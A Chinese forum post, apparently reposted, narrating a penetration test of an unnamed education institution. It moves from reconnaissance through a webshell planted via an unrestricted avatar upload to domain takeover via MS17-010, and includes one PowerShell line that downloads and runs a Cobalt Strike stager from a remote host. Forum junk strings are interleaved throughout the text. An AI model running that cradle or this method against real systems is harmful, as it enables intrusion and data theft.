找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2452|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

& p. w" L0 J, M# \' g; c' t% D 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路 * {" E! k1 T8 ?2 ^$ }, K

) f1 p; d$ ]2 f( n& f$ T8 S

/ a. e" g* i! @: j2 q, K' y' A  ( v9 Y- F/ N0 S0 Q3 Y' ^& k4 ?

; R) R6 F' ^3 P1 Z$ u) m& B

. ]; ?- G1 Z$ t! g 正文: B. f7 Z/ ~6 P: q' \0 z

9 d; A* ]; d: W& e

3 z% n* C3 p/ g1 j   : r7 P D% _/ w% t2 Z+ q4 \+ I

) N7 |, ]0 b0 C( O3 w3 ]" @

8 l+ k: ?/ s( P- ]3 i& O 目标:www.xxxx.com(一家教育机构)
- B/ @! r K& \5 b5 R
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
1 S* Z3 A1 {) d3 Q9 Z* V- }2 W- e% l) O1 b

. w$ b& V& O/ r2 c

2 l" t; i& j6 T9 g `& H vshapes=- u9 v% @8 _! f2 h D

- Z, ?0 [5 M8 R) k

2 M/ c6 @8 K) n4 r# U 进行了简单的信息搜集
! U$ X! b) y) d k+ t
* Z' \) U8 c; v+ e. d
8 D! A9 q; C* J+ |+ @5 H

/ V9 j* O. \- d9 A% Z

& C7 D% G" p" E: U$ W; {0 J 子域名搜集0 k3 g5 \6 R% P) O* H

% ^, y& T& ]* Y' t

. h8 c% V1 i% U% _$ P vshapes=! Q6 T; F# G$ Z! c3 c0 E0 E

8 B+ T. V: y( S8 z0 I5 _

% ^" K! m0 _9 ^; {8 A+ W fofa找资产
4 d% X. Q1 g/ D) X! ~' o c
' W6 r1 {! y, z7 G6 \; j5 a
0 A' Z. l' f" o/ f4 H) D9 d

8 O2 P$ Z4 B" L

0 w0 H5 c& P/ J- y vshapes= 7 E" W# O" o9 L% i/ ?

2 i/ e/ k. H8 U- j

, `+ v$ B* o/ {# y 一共七个资产。去重之后只有两个。
+ k3 g% E7 j- J9 G5 z
1 R3 _3 s& V, [: `' o
t% k' z$ g; n! `7 M, i

) u2 ?, N& K$ W0 Z+ p3 a

0 u5 w- U; `8 |1 d$ q0 e" { 目录探测/ E$ n3 |0 I6 e6 c

& e Q# M0 x: `

& V4 Z$ s8 Z0 X @& C7 s$ M" q vshapes=0 f+ S' n) h( m! F! _9 |

: C6 D: X8 U8 F+ L( I" E

o, {4 r1 H* M 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
. g. r3 Q2 `; [4 j3 }
' c: F6 t7 ~/ X6 {. k) N. H! a0 L$ Q+ h
& a) \' B! _: Q- i

$ H0 O. u8 E7 O0 Z* N* T

( R& C* F j- b& V# l 我又尝试了通过修改返回包来绕过登录界面$ u3 Z3 M" ]- s3 }$ D# E; j

# y7 S8 c- r* B4 `0 C

" \& U- }4 U, m. L vshapes= ! X! Q' s$ L" Q1 g Z& s

) m0 P& r! _: @$ D5 e$ n2 x1 _. b

8 P$ H' z* f) D" N 还是不行,尝试注入无果" R; Q: u; l$ i, a* @ P* _. B

& n" n7 p8 V# K7 }

6 q7 t+ b+ y5 Z vshapes= Q8 k+ j% ?# S/ o

. t- |+ m. Q6 c, t

9 A7 _: p ^! Q: H3 G 不过我目录探测出了一处Spring信息泄露
- a. m% X( V7 y9 i, S# p
! w6 @# p8 i* S, B
$ t+ y5 @6 e. n: a, }% g

; p3 g: Q- U# j& e) e, L0 \

% O) d6 T; L$ R0 B vshapes=& ^2 q9 z1 e* E4 ^. }9 h

$ j- g9 F0 @- _% M

: z6 [! u$ V" v. y5 [ 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录3 V( {# k& R0 P! L+ I! b

) q: e% b8 t0 I7 |( F5 |

$ l7 t* D6 `" d3 s+ V vshapes=* v) _* P1 @3 [

0 m; I! i( J2 ]* p3 P; N5 M9 L

( d( B J* X ~% `1 z9 t7 W5 | 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。* u& l4 `0 E- m* f- ?& w

9 ?' v! S3 t2 G+ C: N8 G; y9 s

8 E$ D; T! u# j9 z( p vshapes= - F) J& D5 x, [. b

$ }- G4 I) }4 R7 h) [" J

3 s/ ~* x, e2 ^% e E* C# ] 获取有些师傅到这一步就手机抓包电脑测了。1 {4 ]/ ]8 M8 c5 n; y9 O' V

0 V# n+ t& a4 b) ~4 U8 g; k6 V

9 _* \3 [1 O0 B7 N8 ?4 Y- j Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。 m9 w2 _9 H$ X0 O) P

/ w& @2 }: O4 y

3 E8 U$ B% X; }7 `: J2 {, G 其中在一个公众号发现了小程序,可以进行注册。7 A. m" b \8 |6 @+ n- I8 ^& Z

$ ~! t% L+ D5 h v

8 Y- Z0 g2 H! y1 M" C 看到了头像上传,尝试上传获取WebShell @2 ?# P) t, Y+ e! {! M" k( B. Z

! q& ]1 k( ^" v+ z/ y

6 d, j# O4 n7 R% V; U3 s" L vshapes=6 E7 d0 C; J G, L

`4 s( t; n+ M4 [/ {- @/ F3 z

% G( i8 W( P. F 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问' W8 T; R2 U v$ T( n4 Z

4 X8 v+ Y" {8 L+ E& ^

; e3 U1 _3 h2 B6 c+ k5 g3 t0 a" A/ s vshapes= 3 b# j3 }& z2 S

& `$ a$ P- }* Q* o* ]

, t( s& s7 r9 U. r, a! u+ b 然后上了大马 8 |" n* S/ e7 z+ f* h# G- D

& y) V- F: g; Q4 o6 P5 }

( e4 E+ I, G( A$ }6 x' D! F0 ] vshapes=+ Y" _ }& [; s8 K0 P% E; w

& ]( U4 D% l3 N& h* p1 Q

) @2 R3 }9 w: r4 i0 C" n1 p1 a4 | vshapes=: `! M( Z9 p# w3 N a& M

K; B# ?& R, S6 d

% }. D6 Q8 Q+ m% ~6 _ 通过翻找文件发现数据库账号密码 W t- Y% B2 q7 B2 I5 v' U

' `3 U" E+ N; R& E5 t8 K& c* a

- [9 Y. a' x) ~ o vshapes= , U# t$ B4 j$ U* [- J* R% T

( H6 N$ j0 A$ y) Y2 E: i5 G. _

2 ?3 q( X, a p/ g --内网渗透/ F# `+ z0 Q3 } u7 K5 C

* j( E4 v: j, G% C

9 k% E1 ^* J& I 直接通过powershell执行 cs上线( F4 d% P. j- @7 r, ]# ~( Y# ^# {0 g

( D( D* T: X! A5 f

& k, V; [7 K. F) k powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"* V7 y' D1 y# k* e3 X( B1 q

$ n K6 _ f* G7 T9 O/ z) Q8 a

- M5 M7 a1 r8 u% N9 A; o vshapes= 8 d, @, k# Y3 k! H3 v" N3 T

7 H8 n% O/ U* f: o$ ~" f- J4 C

2 u* `" D6 B" J6 m2 L7 o4 B3 f 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破 & S- |' C) g* l. @) e% i

- G: t: N, n0 W( V

7 u" l7 d7 t& e- o* A$ C' G* F4 m, ^ vshapes=% N5 Z2 U$ ?( ~5 {/ ]3 o& _+ U

( y7 T! F; c2 m' t' E5 V

0 k7 M5 ?! M6 x; ^1 v 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
4 B3 }& c" ]2 \
) V R( f2 ~" c$ \
. n6 M- j- u) r% Z) T2 |
' J8 z# `) U4 j' C5 \

8 x3 k) |9 W4 _8 J$ y! Y

) Y, n: ^* u! ? vshapes= 2 M2 O% W9 Q, {! x

. f+ E$ ~4 R+ e1 `' l

' T* M* R7 i2 Y1 h 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
" L w7 u# T6 @' E5 @( q* S2 e4 W
2 u. Z2 j, n, f0 u; P- z
. Q A( P' T, `4 i' K3 R5 w! U" R

( t' k, s5 x7 }2 D7 q

' R4 z, }; ^4 _+ ^4 q0 N vshapes=+ U# [- I6 c+ a' F

9 Z; l# O. H4 R# s a; J5 l$ I9 l

% s0 t5 |, ]: H6 Q) x: e
o6 O$ m% k0 f5 V% Q
0 q# b6 A0 T1 k ?$ t/ \& T
( ^9 P( j- r) U! h. K

T& Z' g' Y) u

2 q! U5 Q# i8 w! \: M, |8 E   W9 O s& m" D; G: h& Y, n4 F

+ p0 o! w; |6 u6 Z6 Q+ E+ [! q

; ` g* U7 U: @( D+ c( o 小结 : D3 G( K" o3 Z6 R

( B2 u+ C2 y+ A. K& n, p

! ^+ @$ `. H" z. T  ( s. ^$ [7 p8 I) |3 d( O9 c* u

T! E! R& P0 s) |) }$ }

0 x/ w) Q8 R+ J3 y# Q: ~8 b _5 A* { 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路! 9 N+ j- q2 j! V' r2 |: z4 y) e9 U

( l( W( U0 Y. I, {

$ r- C, Q2 y( o- t" e/ f   7 s9 K. H5 A1 C H1 r0 C, ]

+ l! p! b! e1 w3 N7 C7 H
    + N/ U& n- V ~& ~& |; X+ ?
  • 8 d {1 } T4 V7 M# z v  ( i/ k* M e: \0 L6 F" q6 j+ l& w
  • + Z0 I' n+ r* _% \8 e
  • / | K( x* x- d" Z5 Q" e" o   U9 m0 ?- v- |( D) `( U( ~
  • 5 ], {. }4 R' m4 n
& {) g5 p+ s; E2 ?9 I8 ?

7 `3 D5 {: O+ Y* ~, ?" G U6 y 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html6 D% P J* ^/ G; ]) R( `1 p

$ D9 C+ U p/ M

" E6 G; e9 Q. N6 ^7 s   , O# a( a9 @) t

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表